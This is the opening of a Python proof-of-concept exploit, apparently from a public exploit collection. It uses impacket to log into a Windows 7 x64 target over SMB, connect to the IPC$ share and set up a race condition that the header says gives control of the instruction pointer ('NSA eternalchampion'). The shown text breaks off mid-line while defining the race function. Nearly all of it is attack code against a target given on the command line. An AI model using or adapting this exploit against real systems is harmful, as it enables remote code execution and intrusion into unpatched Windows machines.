#!/usr/bin/python from impacket import smb from mysmb import MYSMB from struct import pack import sys ''' PoC: demonstrates how NSA eternalchampion controls RIP Note: - this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 2: print("{} ".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) # if share name is disk, the race is easier to win because there are more operation to do after InData is modified tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) def nsa_race(conn, jmp_addr): setup = pack('